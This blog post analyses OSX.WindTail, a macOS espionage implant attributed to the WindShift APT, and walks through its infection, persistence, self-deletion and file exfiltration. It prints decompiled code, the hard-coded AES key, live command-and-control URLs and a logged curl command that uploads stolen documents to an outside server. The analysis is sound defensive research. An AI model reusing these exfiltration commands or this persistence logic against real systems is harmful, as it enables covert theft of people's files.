Middle East Cyber-Espionage analyzing WindShift’s implant: OSX.WindTail

December 20 2018 by

Patrick Wardle

Want to play along?

I’ve shared various OSX.WindTail samples (password: infect3d) …don’t infect yourself!

In this blog post, we’ll analyze the WindShift APT group’s 1st-stage macOS implant: OSX.WindTail (likely variant A)

Specifically we’ll detail the malware’s:

  • initial infection vector
  • method of persistence
  • capabilities
  • detection and removal


A few months ago, Taha Karim (head of malware research labs, at Dark Matter) presented some intriguing research at Hack in the Box Singapore.

In his presentation, “In the Trails of WindShift APT”, he detailed a new APT group (WindShift), who engaged in highly-targeted cyber-espionage campaigns. A Forbes article “Hackers Are Exposing An Apple Mac Weakness In Middle East Espionage” by Thomas Brewster, also covered Karim’s research, and noted that:

“[the APT] targeted specific individuals working in government departments and critical infrastructure across the Middle East”

To me, besides WindShift’s targets, the most intriguing aspect of this APT group was (is?) their use of macOS vulnerabilities and custom macOS implants (backdoors). In his talk, Karim provided a good overview of the technique utilized by WindShift to infect macOS computers, and the malware they then installed (OSX.WindTail.A, OSX.WindTail.B, and OSX.WindTape). However, my rather insatiable technical cravings weren’t fully satisfied, so I decided to dig deeper!

From the details Karim’s talk, I was able to replicate WindShift’s macOS exploitation capabilities:

My blog post, “Remote Mac Exploitation Via Custom URL Schemes”, describes the technical details of how WindShift (ab)used custom URL schemes to infect macOS systems. The image below provides a illustrative overview.

…however, as the malware samples discussed in Karim’s talk were never publicly shared, a full-technical analysis was never available…until now!

Analyzing OSX.WindTail

Earlier today, Phil Stokes, uncovered an interesting application on VirusTotal. He noted that in Karim’s talk, one of the slides contained a file name: Meeting_Agenda.zip …which was identified as by Karim as malware:

On VirusTotal, if we search for files with this name, we find what appears to be a match!

The sample (SHA-1: 4613f5b1e172cb08d6a2e7f2186e2fdd875b24e5) is currently only detected by two anti-virus engines:

Using the similar-to: search modifier, I uncovered three other samples, that are not flagged as malicious by any anti-virus engine!

  • NPC_Agenda_230617.zip1
    SHA-1: df2a83dc0ae09c970e7318b93d95041395976da7

  • Scandal_Report_2017.zip
    SHA-1: 6d1614617732f106d5ab01125cb8e57119f29d91

  • Final_Presentation.zip
    SHA-1: da342c4ca1b2ab31483c6f2d43cdcc195dfe481b

If we download and extract these applications, the uses Microsoft Office icons, likely to avoid raising suspicion:

In his talk, Karim notes, “[the WindShift] attackers gave a backdoor a realistic look by mimicking an Excel sheet icon”.

…the fact that our samples all similarly utilize Microsoft Office icons, is the first (of many) characteristics that lead us to confidently tie these samples to the WindShift APT group.

Via the WhatsYourSign utility, we can confirm that indeed they are applications (not documents):

Moreover the utility indicates that the application (i.e. Final_Presentation.app) is neither fully signed and that its signing certificate has been revoked. We can confirm this with the codesign and spctl utilities:

 $ codesign -dvvv Final_Presentation.app Executable=Final_Presentation.app/Contents/MacOS/usrnode Identifier=com.alis.tre Format=app bundle with Mach-O thin (x86_64) ... Authority=(unavailable) Info.plist=not bound TeamIdentifier=95RKE2AA8F Sealed Resources version=2 rules=12 files=4 Internal requirements count=1 size=204 $ spctl --assess Final_Presentation.app Final_Presentation.app: CSSMERR_TP_CERT_REVOKED 

The fact that the signing certificate(s) of all the samples are revoked (CSSMERR_TP_CERT_REVOKED) means that Apple knows about about this certificate…and thus surely this malware as well. …yet the majority of the samples (3, of 4) are detected by zero anti-virus engines on VirusTotal.

Does this mean Apple isn’t sharing valuable malware/threat-intel with AV-community, preventing the creation of widespread AV signatures that can protect end-users?! ��

Narrator: yes*

*of course sometimes they may not have permission (if the information was sourced from elsewhere).

Before diving into reversing/debugging these samples, let’s take quick peak at their application bundles:

First, note the main executable is named usrnode. This is also specified in the application’s Info.plist file (CFBundleExecutable is set to usrnode):

 $ cat /Users/patrick/Downloads/WindShift/Final_Presentation.app/Contents/Info.plist  ... CFBundleExecutable usrnode ... CFBundleIdentifier com.alis.tre ... CFBundleURLTypes CFBundleURLName Local File CFBundleURLSchemes openurl2622007 ... LSMinimumSystemVersion 10.7 ... NSUIElement 1 

Other interesting keys include LSMinimumSystemVersion which indicates the (malicious) application is compatible with OSX 10.7 (Lion), and NSUIElement key which tells the OS to execute the application without a dock icon nor menu (i.e. hidden).

However the most interesting key is the CFBundleURLSchemes (within the CFBundleURLTypes). This key holds an array of custom URL schemes that the application implements (here: openurl2622007). In the aforementioned blog post “Remote Mac Exploitation Via Custom URL Schemes”, we described how WindShift (ab)used custom URL schemes to infect macOS systems…in exactly this manner! Yet another data point tying our samples to WindShift.

The OSX.WindTail.A sample described by Karim used a similarly named custom URL scheme: openurl2622015

Ok, let’s dive in to look at some disassembly!

Loading the main binary usrnode into a disassembler (I used Hopper), we start at the main() function:

 int main(int arg0, int arg1, int arg2, int arg3, int arg4, int arg5) { r12 = [NSURL fileURLWithPath:[[NSBundle mainBundle] bundlePath]]; rbx = LSSharedFileListCreate(0x0, _kLSSharedFileListSessionLoginItems, 0x0); LSSharedFileListInsertItemURL(rbx, _kLSSharedFileListItemLast, 0x0, 0x0, r12, 0x0, 0x0); ... rax = NSApplicationMain(r15, r14); return rax; }

The LSSharedFileListInsertItemURL API is documented by Apple. Just kidding: “No overview available”:

So what does the LSSharedFileListInsertItemURL API do? It adds a login item, which is mechanism to gain persistence and ensure that the (malicious) application will be automatically (re)started everytime the user logs in. This is visible via System Preferences application:

…not the stealthiest persistence mechanism, but meh, gets the job done!

The main() function invokes the NSApplicationMain method, which in turn invokes the applicationDidFinishLaunching method:

 -(void)applicationDidFinishLaunching:(void *)arg2 { r15 = self; r14 = [[NSDate alloc] init]; rbx = [[NSDateFormatter alloc] init]; [rbx setDateFormat:@"dd-MM-YYYYHH:mm:ss"]; r14 = [[[[rbx stringFromDate:r14] componentsSeparatedByCharactersInSet: [NSCharacterSet characterSetWithCharactersInString:cfstring____]] componentsJoinedByString:@""] stringByReplacingOccurrencesOfString:@" " withString:@""]; rcx = [[NSBundle mainBundle] resourcePath]; rbx = [NSString stringWithFormat:@"%@/date.txt", rcx]; rax = [NSFileManager defaultManager]; rdx = rbx; if ([rax fileExistsAtPath:rdx] == 0x0) { rax = arc4random(); rax = [NSString stringWithFormat:@"%@%@", r14, [[NSNumber numberWithInt:rax - (rax * 0x51eb851f >> 0x25) * 0x64, (rax * 0x51eb851f >> 0x25) * 0x64] stringValue]]; rcx = 0x1; r8 = 0x4; rdx = rbx; rax = [rax writeToFile:rdx atomically:rcx encoding:r8 error:&var_28]; if (rax == 0x0) { r8 = 0x4; rax = [NSUserDefaults standardUserDefaults]; rcx = @"GenrateDeviceName"; rdx = 0x1; [rax setBool:rdx forKey:rcx, r8]; [[NSUserDefaults standardUserDefaults] synchronize]; } } [r15 read]; [r15 tuffel]; [NSThread detachNewThreadSelector:@selector(mydel) toTarget:r15 withObject:0x0]; return; }

Pulling apart the above code, we can see: 1. The (malicious) application generates the current date/time, and formats it. 2. Builds a path to date.txt in it’s application bundle (Contents/Resources/date.txt) 3. If this file doesn’t exist, write out the (formatted) date and a random number 4. If this fails, set the GenrateDeviceName (sic) user default key to true 5. Read in the data from the date.txt file 6. invoke the tuffel method 7. Spawn a thread to execute the mydel method

Clearly steps 1-5 are executed to generate, then load, a unique identifier for the implant.

Let’s observe this happening (via the fs_usage utility):

 # fs_usage -w -filesystem | grep date.txt 00:38:09.784384 lstat64 /Users/user/Desktop/Final_Presentation.app/Contents/Resources/date.txt usrnode.8894 00:38:09.785711 open F=3 (R_____) /Users/user/Desktop/Final_Presentation.app/Contents/Resources/date.txt usrnode.8894 ... # cat ~/Desktop/Final_Presentation.app/Contents/Resources/date.txt 2012201800380925 

The tuffel method is rather involved (and we’ll expand upon in an update to this blog post). However, some of it’s main actions include:

  1. Moving the (malicious) application into the /Users/user/Library/ directory
  2. Executing this persisted copy, via the open command
  3. Decrypting embedded strings that relate to file extensions of (likely) interest

We can observe step #2 (execution of the persisted copy) via my open-source process monitor library, ProcInfo:

 procInfo[915:9229] process start: pid: 917 path: /usr/bin/open user: 501 args: ( open, "-a", "/Users/user/Library/Final_Presentation.app" ) 

Step #3, (string decryption) is interesting as it both reveals the capabilities of the malware as well as (again) helps identify the (malicious) application as OSX.WindTail. The yoop method appears to be the string decryption routine:

 -(void *)yoop:(void *)arg2 { rax = [[[NSString alloc] initWithData:[[yu decode:arg2] AESDecryptWithPassphrase:cfstring__] encoding:0x1] stringByTrimmingCharactersInSet:[NSCharacterSet whitespaceCharacterSet]]; return rax; }

Specifically it invokes a decode and AESDecryptWithPassphrase helper methods. Looking closer at the call to the AESDecryptWithPassphrase method, we can see it’s invoked with a variable named cfstring__ (at address 0x100013480). This is the (hard-coded) AES decryption key:

 cfstring___100013480: 0x000000010001c1a8, 0x00000000000007d0, 0x000000010000bc2a, 0x0000000000000010 ; u"æ$&łŁńŚŽ~Ę?|!~<Œ",

Interestingly this is the exact same key as Karin showed in his slides, for OSX.WindTail.A:

To see what the (malicious) application is decrypting, we can simply set a breakpoint within the yoop method, and then dump the (now) decrypted strings:

 (lldb) b 0x000000010000229b Breakpoint 8: where = usrnode`___lldb_unnamed_symbol6$$usrnode + 92, address = 0x000000010000229b (lldb) po $rax http://flux2key.com/liaROelcOeVvfjN/fsfSQNrIyxeRvXH.php?very=%@&xnvk=%@ 

It’s rather easy to break ‘AES’ when you have the key ��

Other strings that are decrypted (as noted) relate to file extensions of (likely) interest such as doc, pdf, db, etc. Makes sense that a cyber-espionage implant would be interested in such things, ya?

Moving on the myDel method appears to attempt to connect to the malware’s C&C servers. Of course these are encrypted, but again, by dynamically debugging the malware, we can can simply wait until it invokes the AES decryption routine, then dump the (now) plaintext strings:

 (lldb) x/s 0x0000000100350a40 0x100350a40: "string2me.com/qgHUDRZiYhOqQiN/kESklNvxsNZQcPl.php ... (lldb) x/s 0x0000000100352fe0 0x100352fe0: "http://flux2key.com/liaROelcOeVvfjN/fsfSQNrIyxeRvXH.php?very=%@&xnvk=%@ 

The C&C domains (string2me.com and flux2key.com) are both WindShift domains, as noted by Karim in an interview with itWire

“the domains string2me.com and flux2key.com identified as associated with these attacks”

These domains are currently offline:

 $ ping flux2key.com ping: cannot resolve flux2key.com: Unknown host $ nslookup flux2key.com Server: Address: ** server can't find flux2key.com: SERVFAIL 

…thus the malware appears to remain rather inactive. That is to say, (in a debugger), it doesn’t do much - as it’s likely awaiting commands from the (offline) C&C servers.

However, a brief (static) triage of other methods found within the (malicious) application indicate it likely supports ‘standard’ backdoor capabilities such as file exfiltration and the (remote) execution of arbitrary commands. I’ll keep digging and update this post with any new findings!


WindShift is an intriguing APT, selectively targeting individuals in the Middle East. Its macOS capabilities are rather unique and make for a rather interesting case study!

Today, for the first time, we publicly shared samples of a malicious application that I’m highly confident is OSX.WindTail.A (or is some variant thereof). This claim is based upon naming-schemes, unique infection mechanism, shared AES-decryption key, and some off-the-record insight.

In this blog post, we analyzed the OSX.WindTail to reveal its:

  • initial infection vector
  • method of persistence
  • capabilities
  • commmand & control servers

All that’s left is to talk about detection an removal.

First, good news, Objective-See’s tools such as BlockBlock and KnockKnock are able to both detect and block this malware with no a priori knowledge

…since current anti-virus engines (at least those found on VirusTotal) currently do not detect these threats, it’s probably best to stick to tools (such as BlockBlock and KnockKnock) that can heuristically detect malware.

Though a tool such as KnockKnock is the suggested way to detect an infection, you can also manually check if you’re infected. Check for a suspicious Login Item via the System Preferences application, and/or for the presence of suspicious application in your ~/Library/ folder (likely with a Microsoft Office icon, and perhaps an invalid code signature). Deleting any such applications and Login Item will remove the malware.

However if you were infected (which is very unlikely, unless you’re a government official in a specific Middle Eastern country), it’s best to fully wipe your system and re-install macOS!

Let's focus on the sample of OSX.WindTail named Final_Presentation.app

now, we’ll focus on the sample of OSX.WindTail named Final_Presentation.app
(SHA1: 758F10BD7C69BD2C0B38FD7D523A816DB4ADDD90).

This OSX.WindTail sample, along with a few others, may be download from our Mac Malware Collection.

OSX.WindTail Install Logic

As noted, in OSX.WindTail’s applicationDidFinishLaunching method, the malware invokes a method named tuffel.


The applicationDidFinishLaunching method is a automatically invoked “after the application has been launched and initialized” -apple.com

Thus, when analyzing malicious macOS applications, always investigate this method!

To see what class the tuffel method belongs to, we can use Jonathan Levin’s incredible jtool utility. Specifically, via the -v -d objc commandline arguments jtool can dump the embedded Objective-C classes:

 $ jtool -v -d objc Final_Presentation.app/Contents/MacOS/usrnode @interface AppDelegate : ? ... // 9 instance methods /* 0 - 0x100001d7d */ - applicationDidFinishLaunching:; /* 1 - 0x100001fc6 */ - mydel; /* 2 - 0x1000021f4 */ - tuffel; /* 3 - 0x10000223f */ - yoop:; ... @end 

Via the jtool output, it is clear that this method, (along with other methods such as mydel and yoop) belongs to the malware’s main AppDelegate class.

By disassembling this method, one can see it allocates and initializes an appdele class, before invoking said class’s sis method:

 /* @class AppDelegate */ -(void)tuffel { rax = [appdele alloc]; rax = [rax init]; self->tyt = rax; [rax sis]; return; }

Taking a closer look at the appdele’s init method, reveals that it invokes a method named cp:

 /* @class appdele */ -(void)cp { r13 = self; var_30 = r13; *qword_100015f20 = [[NSFileManager alloc] init]; r15 = [[NSBundle mainBundle] bundlePath]; rbx = [r15 lastPathComponent]; r12 = NSHomeDirectory(); r8 = [r13 yoop:@"oX0s4Qj3GiAzAnOmzGqjOA=="]; rcx = r12; rbx = [NSString stringWithFormat:@"%@%@%@%@", rcx, r8, @"/", rbx]; ... if (([*qword_100015f20 copyItemAtPath:r15 toPath:rbx error:0x0] & 0xff) == 0x1) goto loc_10000297b; return; loc_10000297b: rdi = var_30; rdx = rbx; goto loc_100002989; loc_100002989: [rdi cmd:rdx]; sleep(0x1e); exit(0x0); return;

…yes, a decent amount of logic here, but with the help of some dynamic analysis (via lldb), it’s not too bad to break down.

First, the malware gets the path to it’s own application bundle via [[NSBundle mainBundle] bundlePath]. After getting retrieving the bundle’s name (via the lastPathComponent method) the malware invokes the NSHomeDirectory function to get the user’s home directory. And what about the encoded, encrypted string, oX0s4Qj3GiAzAnOmzGqjOA==? That decrypts to “/Library“:

 (lldb) 0x100002873 <+125>: movq 0x12bce(%rip), %rsi ; "yoop:" 0x10000287a <+132>: leaq 0x10ddf(%rip), %rdx ; @"oX0s4Qj3GiAzAnOmzGqjOA==" 0x100002881 <+139>: movq %r13, %rdi 0x100002884 <+142>: callq *%r14 ... //after stepping over callq *%r14 (lldb) po $rax /Library 

These ‘pieces’ are all passed to the stringWithFormat method, to build the following string: /Users/user/Library/Final_Presentation.app.

OSX.WindTail then invokes the copyItemAtPath method to copy (install) itself to the ~/Library/ directory:

 (lldb) po $rdi (lldb) x/s $rsi 0x7fff6cabf632: "copyItemAtPath:toPath:error:" (lldb) po $rdx /Users/user/Desktop/Final_Presentation.app (lldb) po $rcx /Users/user/Library/Final_Presentation.app 

Via macOS’s built-in file monitor utility, fs_usage, we can passively observe this installation:

 # fs_usage -w -f filesystem | grep -i usrnode open /Users/user/Desktop/Final_Presentation.app mkdir /Users/user/Library/Final_Presentation.app ... 

Though the normal user won’t likely be poking around in the ~/Library folder - if they did (and their Mac was infected with OSX.WindTail), the malware is rather hard to miss:

Above we covered OSX.WindTail’s persistence (via a login item). This persistence, combined with the above installer logic, completes the persistent install. This of course ensures that the malware will be automatically (re)started anytime the user logs into the infected system.

OSX.WindTail Self-Delete Logic

Recall the malware’s implementation of the applicationDidFinishLaunching method:

-(void)applicationDidFinishLaunching:(void *)arg2

[r15 tuffel];
[NSThread detachNewThreadSelector:@selector(mydel) toTarget:r15 withObject:0x0];


Note that at the end, the malware spins off a new thread (via the detachNewThreadSelector method), to execute a method named mydel.

 /* @class AppDelegate */ -(void)mydel { ... r14 = [NSString stringWithFormat:@"%@", [self yoop:@"F5Ur0CCFMO/fWHjecxEqGLy/..."]]; rbx = [[NSMutableURLRequest alloc] init]; [rbx setURL:[NSURL URLWithString:r14]]; ... if ([[[NSString alloc] initWithData:[NSURLConnection sendSynchronousRequest:rbx returningResponse:0x0 error:0x0] encoding:0x4] isEqualToString:@"1"] != 0x0) { r14 = [NSFileManager defaultManager]; rdx = [[NSBundle mainBundle] bundlePath]; [r14 removeItemAtPath:rdx error:rcx]; [[NSApplication sharedApplication] terminate:0x0, rcx]; } return; }

In short, the mydel method performs the following:

  • Generates a URL request from an encrypted string.
  • Makes a network request to this URL
  • If the request returns a string that equals “1”:
    • Deletes itself
    • Terminate itself

Via lldb we can set a breakpoint on this method (at address 0x0000000100001fc6) then, step thru this code to uncover the (decrypted) URL:

 (lldb) b 0x0000000100001fc6 (lldb) c ... -> 0x100002034 <+110>: movq 0x1340d(%rip), %rsi ; "yoop:" 0x10000203b <+117>: leaq 0x113de(%rip), %rdx ; @"F5Ur0CCFMO/fWHjecxEqGLy/xq5gE98ZviUSLr..." 0x100002042 <+124>: movq %r14, %rdi 0x100002045 <+127>: callq *%r13 ... //after stepping over `callq *%r13` (lldb) po $rax http://flux2key.com/liaROelcOeVvfjN/fsfSQNrIyxeRvXH.php?very=%@&xnvk=%@ 

Continuing to single-step over the instructions in this method reveal the full URL: http://flux2key.com/liaROelcOeVvfjN/fsfSQNrIyxeRvXH.php?very=MTUwMTIwMTkxNDI0MDc1&xnvk=ss

Enabling the network adapter in the VM, allows this network request, which we capture in WireShark:


The malware’s command & control server (flux2key.com) currently returns a 403 ‘Forbidden’ error

As noted, if the command & control server returns a string equal to "1", the malware will self delete, then exit:

 /* @class AppDelegate */ -(void)mydel { ... // if the C&C server returns "1" // then self delete and terminate if ([[[NSString alloc] initWithData:[NSURLConnection sendSynchronousRequest:rbx returningResponse:0x0 error:0x0] encoding:0x4] isEqualToString:@"1"] != 0x0) { //self-delete [[NSFileManager defaultManager] removeItemAtPath:[[NSBundle mainBundle] bundlePath] ...]; //terminate [[NSApplication sharedApplication] terminate:0x0 ...]; } ... }

…rather neat to see a “remotely triggerable” self-deletion capability built directly into the malware!

OSX.WindTail Payload/Capabilities

In part one of this two-part blog post, we’ve detailed how OSX.WindTail infects Macs (via (ab)using custom URL schemes), and how it persists (via login items). In this post, we’ve detailed the installer and self-deleting logic. But the question remains, what does the malware actually do. In other words, what is its main goal?

We start in a method called yan. This method is invoked automatically when the malware starts via (applicationDidFinishLaunching -> tuffel -> (appdele) init). This decompliation of this method reveals little…though it does appear that the method is decrypting a bunch of encrypted strings:

 /* @class appdele */ -(void *)yan { var_30 = [self yoop:@"BouCfWujdfbAUfCos/iIOg=="]; [self yoop:@"Bk0WPpt0IFFT30CP6ci9jg=="]; [self yoop:@"RYfzGQY52uA9SnTjDWCugw=="]; [self yoop:@"XCrcQ4M8lnb1sJJo7zuLmQ=="]; [self yoop:@"3J1OfDEiMfxgQVZur/neGQ=="]; [self yoop:@"Nxv5JOV6nsvg/lfNuk3rWw=="]; [self yoop:@"Es1qIvgb4wmPAWwlagmNYQ=="]; [self yoop:@"eOA0XJNs/eeFUVMThfZjTA=="]; [self yoop:@"B/9RICA+yl4vZrIeyON8cQ=="]; [self yoop:@"B8fvRmZ1LJ74Q5OiD9KISw=="]; rax = [NSMutableArray arrayWithObjects:var_30]; return rax; }

As the method appears to return an array of the decrypted strings, lets hop into the debugger (lldb) and set a breakpoint on the method (address: 0x000000010000238b). Once this breakpoint is hit, executing lldb’s finish command will execute the entire method, then stop as soon as it returns. Here, we can dump the array of decrypted strings!


The x64 ABI for macOS dedicates that the return value of a method or function is stored in the RAX register. In other words, once a method (of function) returns, simply display what’s in the RAX register, to see what’s returned (e.g. an array of decrypted strings).

 (lldb) b 0x000000010000238b (lldb) c ... -> 0x10000238b <+0>: pushq %rbp 0x10000238c <+1>: movq %rsp, %rbp 0x10000238f <+4>: pushq %r15 0x100002391 <+6>: pushq %r14 (lldb) finish (lldb) po $rax <__NSArrayM 0x10018f920>( doc, docx, ppt, pdf, xls, xlsx, db, txt, rtf, pptx) 

Ah, a list of file extensions… likely ones that the malware is interested in, in some reason ��

Next we move on to looking at the fist method (invoked via the df method, which is scheduled via an NSTimer).


The df method (which invokes the fist method), first invokes a ‘isOK’ method.

In a debugger, we can force this check to always succeed (such that the fist method will be invoked) by simply settings the return value to a non-zero value: (lldb) reg write $rax 1

The fist method is rather large, but perusing it’s decompilation reveals it invoking Apple APIs such as contentsOfDirectoryAtPath, pathExtension, and (string) compare. Seems reasonable to assume it enumerating files, perhaps looking for files that match the previously decrypted file extensions?

Setting various breakpoints within the method reveals the malware enumerating and building a list of directories:

 (lldb) po $rdi <__NSArrayM 0x10018e360>( /Library, /net, /Network, /private, /sbin, /System, /Users, /usr, /vm, /Volumes, /Applications/App Store.app, /Applications/Automator.app, /Applications/Calculator.app, /Applications/Calendar.app, /Applications/Chess.app, /Applications/Contacts.app, /Applications/Dashboard.app, /Applications/Dictionary.app, /Applications/DVD Player.app, ... 

More interestingly, this method adds files that match the (previously) decrypted file extensions (doc, db, rtf, etc…) to an array (named honk):

 (lldb) po $rdx <__NSArrayM 0x1001aafc0>( { "KEY_ATTR" = { NSFileCreationDate = "2017-07-26 01:37:05 +0000"; NSFileExtensionHidden = 0; NSFileGroupOwnerAccountID = 0; NSFileGroupOwnerAccountName = wheel; NSFileHFSCreatorCode = 0; NSFileHFSTypeCode = 0; NSFileModificationDate = "2017-07-26 01:37:05 +0000"; NSFileOwnerAccountID = 0; NSFileOwnerAccountName = root; NSFilePosixPermissions = 420; NSFileReferenceCount = 1; NSFileSize = 1159906; NSFileSystemFileNumber = 548707; NSFileSystemNumber = 16777218; NSFileType = NSFileTypeRegular; }; "KEY_PATH" = "/Library/Documentation/Acknowledgements.rtf"; }, { "KEY_ATTR" = { NSFileCreationDate = "2017-09-26 06:58:34 +0000"; NSFileExtensionHidden = 0; NSFileGroupOwnerAccountID = 0; NSFileGroupOwnerAccountName = wheel; NSFileHFSCreatorCode = 0; NSFileHFSTypeCode = 0; NSFileModificationDate = "2017-09-26 07:01:34 +0000"; NSFileOwnerAccountID = 0; NSFileOwnerAccountName = root; NSFilePosixPermissions = 420; NSFileReferenceCount = 1; NSFileSize = 57344; NSFileSystemFileNumber = 890895; NSFileSystemNumber = 16777218; NSFileType = NSFileTypeRegular; }; "KEY_PATH" = "/Library/Application Support/com.apple.TCC/TCC.db"; }, { "KEY_ATTR" = { NSFileCreationDate = "2017-07-15 23:45:04 +0000"; NSFileExtensionHidden = 0; NSFileGroupOwnerAccountID = 0; NSFileGroupOwnerAccountName = wheel; NSFileHFSCreatorCode = 0; NSFileHFSTypeCode = 0; NSFileModificationDate = "2017-07-15 23:45:04 +0000"; NSFileOwnerAccountID = 0; NSFileOwnerAccountName = root; NSFilePosixPermissions = 384; NSFileReferenceCount = 1; NSFileSize = 272; NSFileSystemFileNumber = 869137; NSFileSystemNumber = 16777218; NSFileType = NSFileTypeRegular; }; "KEY_PATH" = "/private/etc/racoon/psk.txt"; } ) 

For each of the files that the fist method adds to the honk array, the malware invokes a method, aptly named zip, which appears to invoke /usr/bin/zip to create an archive of the file:

 /* @class image */ -(void)zip { r14 = [@"/tmp/" stringByAppendingPathComponent:[rbx->m_filePath lastPathComponent]]; ... rax = [r14 stringByAppendingString:@".zip"]; ... rax = (r14)(@class(NSArray), @selector(arrayWithObjects:), @"/usr/bin/zip", *(rbx + r12), rbx->m_filePath, 0x0); rax = (r14)(r15, @selector(initWithController:arguments:), rbx, rax); *(rbx + r13) = rax; (r14)(rax, @selector(startProcess), rbx); return; }

Via Objective-See’s open-source ProcInfo process monitoring utility, we can confirm that the malware does indeed spawn macOS’s built-in zip utility to create a archive containing containing the file (here for example, a pdf named: StopTemplate.pdf):

 # ./procInfo [ process start] pid: 1202 path: /usr/bin/zip args: ( "/usr/bin/zip", "/tmp/StopTemplate.pdf.zip", "/Applications/Automator.app/Contents/Resources/StopTemplate.pdf" ) 

Once the file has been zipped up, the malware invokes a method named upload:

 /* @class image */ -(void)upload { ... r14 = [tofg alloc]; if (r12->m_State == 0x1) { var_30 = [@"vast=@" stringByAppendingString:r12->m_tempPath]; [@"od=" stringByAppendingString:r12->m_ComputerName_UserName]; [@"kl=" stringByAppendingString:r12->cont]; r8 = var_30; rax = [NSArray arrayWithObjects:@"/usr/bin/curl"]; rdx = r12; rax = [r14 initWithController:rdx arguments:rax]; } else { rax = [NSArray arrayWithObjects:@"/usr/bin/curl"]; rcx = rax; rax = [r14 initWithController:rdx arguments:rcx]; } [rax startProcess]; return; }

References to curl (/usr/bin/curl) in this method imply the malware is likely exfiltrating the files by (ab)using this built-in network utility.

This can be confirmed via ProcInfo, (which also reveals the network endpoint string2me.com/qgHUDRZiYhOqQiN/kESklNvxsNZQcPl.php):

 # ./procInfo [ process start] pid: 1258 path: /usr/bin/curl user: 501 args: ( "/usr/bin/curl", "-F", "vast=@/tmp/StopTemplate.pdf.zip", "-F", "od=1601201920543863", "-F", "kl=users-mac.lan-user", "string2me.com/qgHUDRZiYhOqQiN/kESklNvxsNZQcPl.php" ) 

From curl’s man page, we can see that the -F flag will post data, and when @ is specified, curl will process the input as a file:

-F, --form

(HTTP) This lets curl emulate a filled-in form in which a user has pressed the submit button. This causes curl to POST data using the Content-Type multipart/form-data according to RFC 2388. This enables uploading of binary files etc. To force the ‘content’ part to be a file, prefix the file name with an @ sign. To just get the content part from a file, prefix the file name with the symbol <. The difference between @ and < is then that @ makes a file get attached in the post as a file upload, while the < makes a text field and just get the contents for that text field from a file.

Example: to send an image to a server, where ‘profile’ is the name of the form-field to which portrait.jpg will be the input: curl -F profile=@portrait.jpg https://example.com/upload.cgi

A WireShark capture illustrates the exfiltration attempt to string2me.com:

Hooray, we’ve uncovered (and confirmed) that OSX.WindTails ultimate goal is to persistently exfiltrate files (such as documents) to a remote server. Such a capability fits nicely into any offensive cyber-espionage operation, such as the one orchestrated by the WINDSHIFT APT group.


OSX.WindTail attempts to upload the files to string2me.com.

However, this server currently returns a 403 (HTTP Forbidden). Thus, at this point in time, the exfiltration fails.


It’s not everyday that the Mac capabilities of an APT or “nation state” are uncovered. However, OSX.WindTail (belonging to the WINDSHIFT APT group), provided an interesting case-study, of such a tool.

In today’s blog post, we dove into OSX.WindTail, detailing it’s method of installation, self-delete logic, and file-extfiltration capabilities. (See part one for details on the malware’s exploitation/infection vector and persistence mechanism).

Specifically, we showed how the malware’s installs itself into the ~/Library/, before enumerating and exfiltrating documents and database files.

Subscribe to the Jamf Blog

Have market trends, Apple updates and Jamf news delivered directly to your inbox.

To learn more about how we collect, use, disclose, transfer, and store your information, please visit our Privacy Policy.